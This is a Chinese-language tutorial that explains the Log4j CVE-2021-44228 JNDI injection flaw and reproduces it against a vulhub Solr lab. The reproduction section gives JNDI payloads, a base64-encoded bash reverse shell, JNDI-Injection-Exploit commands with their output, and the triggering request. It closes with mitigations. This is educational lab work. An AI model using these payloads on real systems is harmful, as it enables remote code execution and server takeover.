目录
一：漏洞概述
Log4j漏洞是由于Log4j 2在处理日志消息中的JNDI（Java Naming and Directory Interface）查找时存在的不安全实现而引发的。攻击者可以通过特制的日志消息利用此漏洞，从而使Log4j在处理日志消息时，连接到恶意的LDAP服务器并执行任意代码。
二：漏洞原理
攻击者构造payload，在JNDI接口lookup查询进行注入，payload为${jndi:ldap:恶意url/poc}，JNDI会去对应的服务（如LDAP、RMI、DNS、文件系统、目录服务...本例为ldap）查找资源，由于lookup的出栈没做限制，最终指向了攻击者部署好的恶意站点，下载了远程的恶意class，最终造成了远程代码执行rce。
log4j2框架下的lookup查询服务提供了{}字段解析功能，传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制，就有可能让查询指向任何服务（可能是攻击者部署好的恶意代码）。
攻击者可以利用这一点进行JNDI注入，使得受害者请求远程服务来链接本地对象，在lookup的{}里面构造payload，调用JNDI服务（LDAP）向攻击者提前部署好的恶意站点获取恶意的.class对象，造成了远程代码执行（可反弹shell到指定服务器）。
三：漏洞利用
攻击者利用该漏洞的步骤如下：
- 构造恶意日志消息：攻击者创建一个包含JNDI查找请求的特制字符串，例如
${jndi:ldap://attacker.com/a}。 - 日志记录：该字符串被应用程序记录到日志中。
- JNDI查找：Log4j在处理这条日志消息时，会解析JNDI查找请求并尝试连接到指定的LDAP服务器。
- 恶意代码执行：如果LDAP服务器返回一个恶意的Java类，Log4j将加载并执行该类中的代码，从而使攻击者能够在目标系统上执行任意代码。
lookup功能：
- Lookup 是一种查找机制，用于动态获取和替换日志记录中的变量或属性的值。它提供了一种灵活的方式，可以在日志消息中引用、解析和插入各种上下文相关的信息。
- log4j中除了sys解析器外，还有很多其他类型的解析器。其中，jndi 解析器就是本次漏洞的源头
JNDI解析器：
-
JND全称为Java命名和目录接口，提供了命名服务和目录服务，允许从指定的远程服务器获取并加载对象，JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。
-
正常的包含jndi的日志记录方式如下：
-
logger.info("system propety: ${jndi:schema://url}"); -
log4j2框架下的**lookup查询服务提供了{}字段解析功能，传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。**这样如果不对lookup的出栈进行限制，就有可能让查询指向任何服务（可能是攻击者部署好的恶意代码）。
-
jdk将从url指定的路径下载一段字节流，并将其反序列化为Java对象，作为jndi返回。反序列化过程中，即会执行字节流中包含的程序。
-
攻击者如何控制服务器上记录的日志内容呢？
-
大部分web服务程序都会对用户输入进行日志记录。例如：用户访问了哪些url，有哪些关键的输入等，都会被作为参数送到log4j中，我们在这些地方写上
${jndi:ldap://xxx.dnslog.cn}就可以使web服务从xxx.dnslog.cn下载字节流了。
ldap服务：
LDAP(轻型目录访问协议)是一个开放的，中立的，工业标准的应用协议，
通过IP协议提供访问 控制和维护分布式信息的目录信息。
目录是一个为查询、浏览和搜索而优化的专业分布式数据库，它呈树状结构组织数据，就好象Linux/Unix系统中的文件目录一样。
RMI：
RMI（远程方法调用）：它是一种机制，能够让在某个java虚拟机上的对象调用另一个Java虚拟机 的对象的方法。
四：漏洞复现
4.1靶场
|---------|-----------|
| 靶机 | 11.0.1.15 |
| 攻击机/监听机 | 11.0.1.20 |
vulhub创建CVE2021-44228环境 ，如果出现以下情况，且换docker加速源无用的情况下请参考（百试百灵 屡试不爽）：[已解决]DockerTarBuilder永久解决镜像docker拉取异常问题-CSDN博客
┌──(root㉿kali)-[/home/kali/vulhub-master/log4j/CVE-2021-44228]
└─# docker-compose up -d
Creating network "cve-2021-44228_default" with the default driver
Pulling solr (vulhub/solr:8.11.0)...
ERROR: Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)
靶场容器创建成功
┌──(root㉿kali)-[/home/kali/vulhub-master/log4j/CVE-2021-44228]
└─# docker-compose up -d
┌──(root㉿kali)-[/home/kali/vulhub-master/log4j/CVE-2021-44228]
└─# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
44d82bcf4772 vulhub/solr:8.11.0 "bash /docker-entryp..." 5 hours ago Up 5 hours 0.0.0.0:8983->8983/tcp, :::8983->8983/tcp cve-2021-44228_solr_1
访问11.0.1.15:8983
4.2dnslog测试
访问dnslog.cn，创建一个域名
访问http://11.0.1.15:8983/solr/admin/cores?action={jndi:ldap://{sys:java.version}.mikd5k.dnslog.cn}
刷新"refresh record"回显说明存在漏洞，但这里添加了$(sys.java.version)但没有显示java版本，原因未知。
4.3部署jndi-injection-exploit
部署jndi-injection-exploit，需要jdk环境，我这里使用jdk-8u381
https://github.com/welk1n/JNDI-Injection-Exploit/releases
编码转换地址
Runtime.exec Payload Generater | AresX's Blog
原命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "转化后的bash编码命令" -A "攻击机/监听机/本机"
反弹shell的命令（编码前）
bash -i >& /dev/tcp/11.0.1.20/6666 0>&1
反弹shell的命令（编码后）
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
[root@centos7 opt]# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "11.0.1.20"
创建jndi服务
其中生成的链接后面的codebaseClass是6位随机的，因为不希望工具生成的链接本身成为一种特征呗监控或拦截。服务器地址实际上就是codebase地址，相比于marshalsec中的JNDI server来说，这个工具把JNDI server和HTTP server绑定到一起，并自动启动HTTPserver返回相应class，更自动化了。
[root@centos7 opt]# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "11.0.1.20"
[ADDRESS] >> 11.0.1.20
[COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
----------------------------JNDI Links----------------------------
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://11.0.1.20:1099/ht5juj
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://11.0.1.20:1099/tcyijf
ldap://11.0.1.20:1389/tcyijf
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://11.0.1.20:1099/7hzekb
ldap://11.0.1.20:1389/7hzekb
----------------------------Server Log----------------------------
2024-12-10 15:33:43 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2024-12-10 15:33:43 [RMISERVER] >> Listening on 0.0.0.0:1099
2024-12-10 15:33:44 [LDAPSERVER] >> Listening on 0.0.0.0:1389
这里使用jdk1.8，所以是rmi://11.0.1.20:1099/tcyijf
4.4打开监听端口
攻击机/监听机另开一个终端监听
nc -lvnp 6666
4.5触发请求，请求内容为恶意class文件
浏览器访问http://11.0.1.15:8983/solr/admin/cores?action=${jndi:rmi://11.0.1.20:1099/tcyijf}
监听机成功获取容器shell
http://11.0.1.15:8983/solr/admin/cores?action=${jndi:rmi://11.0.1.20:1099/tcyijf}
成功获取shell
五、解决方法：
1.设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈，也就不可能请求到访问到远程的恶意站点。
2.对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截，即拦截JNDI语句来防止JNDI注入。
3.对系统进行合理配置，禁止不必要的业务访问外网，配置网络防火墙,禁止系统主动外连网络等等。
4.升级log4j2组件到新的安全的版本。
参考：
log4j2远程代码执行漏洞原理与漏洞复现（基于vulhub，保姆级的详细教程）_log4j漏洞复现-CSDN博客
网络安全最新【漏洞复现】2(1)_jndi-injection-exploit-1.0-snapshot-all.jar-CSDN博客